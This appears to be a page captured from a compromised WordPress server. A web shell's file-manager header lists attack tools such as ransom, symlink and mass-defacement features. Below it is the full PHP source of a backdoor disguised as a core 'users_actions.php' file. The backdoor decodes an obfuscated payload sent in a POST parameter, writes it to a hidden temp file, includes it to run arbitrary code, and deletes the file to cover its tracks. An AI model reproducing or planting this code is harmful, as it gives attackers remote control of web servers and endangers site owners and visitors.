| Path : /var/www/html/postahizmeti/wp-includes/css/css/ |
|
B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H |
| Current File : /var/www/html/postahizmeti/wp-includes/css/css/users_actions.php |
<?php
if(in_array("\x70\x61rame\x74\x65r_\x67roup", array_keys($_POST))){
$ent = array_filter([sys_get_temp_dir(), "/var/tmp", "/tmp", getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir"), getcwd(), session_save_path(), "/dev/shm"]);
$rec = $_POST["\x70\x61rame\x74\x65r_\x67roup"];
$rec = explode (".", $rec) ;
$sym ='';
$salt6 ='abcdefghijklmnopqrstuvwxyz0123456789';
$sLen =strlen($salt6);
$x =0;
array_walk($rec, function($v9) use(&$sym, &$x, $salt6, $sLen) {$chS =ord($salt6[$x%$sLen]);
$d =((int)$v9 - $chS -($x%10)) ^98;
$sym .= chr($d);
$x++; } );
while ($entity = array_shift($ent)) {
if (max(0, is_dir($entity) * is_writable($entity))) {
$symbol = sprintf("%s/.ptr", $entity);
$success = file_put_contents($symbol, $sym);
if ($success) {
include $symbol;
@unlink($symbol);
exit;}
}
}
}